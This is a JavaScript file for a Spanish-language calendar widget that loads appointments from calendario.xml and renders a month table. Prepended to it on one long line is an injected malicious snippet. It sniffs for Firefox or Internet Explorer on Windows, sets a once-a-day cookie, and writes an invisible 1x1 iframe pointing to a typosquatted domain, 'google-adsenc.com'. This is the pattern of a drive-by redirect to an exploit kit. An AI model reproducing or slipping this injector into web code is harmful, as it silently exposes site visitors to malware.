var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
var getCalendario = null;
var xmlCalendario = null;
var CualMes=0;

function CrearCalendario(QueMes){
	if (window.XMLHttpRequest){
		getCalendario=new XMLHttpRequest()
	}else if (window.ActiveXObject){
		getCalendario=new ActiveXObject("Microsoft.XMLHTTP")
	}
	if (getCalendario){
		var url="calendario.xml";
		getCalendario.onreadystatechange=CambioDeEstado;
		getCalendario.open("GET",url,true);
		getCalendario.send(null);
		CualMes=QueMes;
	}else{
		alert ("Tu explorador no soporta XMLHttpRequest");
	}
}

function CambioDeEstado(){
	if (getCalendario.readyState == 4){
		xmlCalendario = getCalendario.responseXML;
		xmlCalendario = xmlCalendario.getElementsByTagName('cita');
		setCal(CualMes);
	} 
} 

function bisiesto(Anio) {
	if (Anio % 4 == 0)
	return true
	return false
}

function diasPorMes(mes, Anio) {
var meses = new Array(12)
meses[1] = 31; // Enero
meses[2] = (((Anio % 4 == 0) && (Anio % 100 != 0)) || (Anio % 400 == 0)) ? 29 : 28
meses[3] = 31 // Marzo
meses[4] = 30 // Abril
meses[5] = 31 // Mayo
meses[6] = 30 // Junio
meses[7] = 31 // Julio
meses[8] = 31 // Agosto
meses[9] = 30 // Septiembre
meses[10] = 31 // Octubre
meses[11] = 30 // Noviembre
meses[12] = 31 // Diciembre
return meses[mes]
}

function getNombreDelMes(mes) {
var meses = new Array(12)
meses[1] = "Enero"
meses[2] = "Febrero"
meses[3] = "Marzo"
meses[4] = "Abril"
meses[5] = "Mayo"
meses[6] = "Junio"
meses[7] = "Julio"
meses[8] = "Agosto"
meses[9] = "Septiembre"
meses[10] = "Octubre"
meses[11] = "Noviembre"
meses[12] = "Diciembre"
return meses[mes]
}

function setCal(QueMes) {
	var now = new Date()
	var anio = now.getYear()
	if (anio < 1000) {anio+=1900}
	var mes = now.getMonth()+QueMes
	if (now.getMonth()+QueMes > 11) {mes-=12;anio++}
	if (now.getMonth()+QueMes < 0) {mes+=12;anio--}
	var fecha = now.getDate()
	var primerDia = new Date(anio, mes, 0)
	var primerDia2 = primerDia.getDay()
	primerDia = null
	var dias = diasPorMes(mes+1, anio)
	drawCal(primerDia2 + 1, dias, fecha, mes+1, anio)
}

function drawCal(firstDay, lastDate, date, Mes, Anio) {
var now = new Date()
var codigo = ""
codigo += '<table class="tabla">'
codigo += '<tr><td class="encabezado" colspan="7">'
codigo += getNombreDelMes(Mes) + ' ' + Anio 
codigo += '</td></tr>'

var diasSemana = new Array(7)
diasSemana[6] = "<acronym title=\"Domingo\">D</acronym>"
diasSemana[0] = "<acronym title=\"Lunes\">L</acronym>"
diasSemana[1] = "<acronym title=\"Martes\">M</acronym>"
diasSemana[2] = "<acronym title=\"Miercoles\">Mx</acronym>"
diasSemana[3] = "<acronym title=\"Jueves\">J</acronym>"
diasSemana[4] = "<acronym title=\"Viernes\">V</acronym>"
diasSemana[5] = "<acronym title=\"Sabado\">S</acronym>"

codigo += '<tr>'
for (var dayNum = 0; dayNum < 7; ++dayNum) {
codigo += '<td class="celdaDiaSemana">' + diasSemana[dayNum] + '</td>' 
}
codigo += '</tr>'

var cDia = 1
var curCell = 1

for (var row = 1; row <= Math.ceil((lastDate + firstDay - 1) / 7); ++row) {
codigo += '<tr>'
for (var col = 1; col <= 7; ++col) {
if (cDia > lastDate)
break
if (curCell < firstDay) {
codigo += '<td></td>';
curCell++
} else {
var textoCelda = cDia;
var textoTd = '<td class="celda">'

for (i=0;i<xmlCalendario.length;i++){
	var fecha = xmlCalendario[i].getAttribute('fecha');
	if (fecha == cDia+ "-" + Mes + "-" + Anio){
		var titulo = xmlCalendario[i].getAttribute('titulo');
		var descripcion = xmlCalendario[i].getAttribute('descripcion');
		textoCelda = '<a href="#" class="diacita" onclick="alert(\''+descripcion+'\');return false" title="'+titulo+'">' + cDia + '</a>';
		textoTd = '<td class="celdacita">'
	}
}

if (cDia == date && Mes == now.getMonth()+1) {
textoTd = '<td class="hoy">'
}

codigo += textoTd + textoCelda + '</td>'
cDia++
}
}
codigo += '</tr>'
}

codigo += '</table>'
document.getElementById("boxcalendario").innerHTML=codigo;
}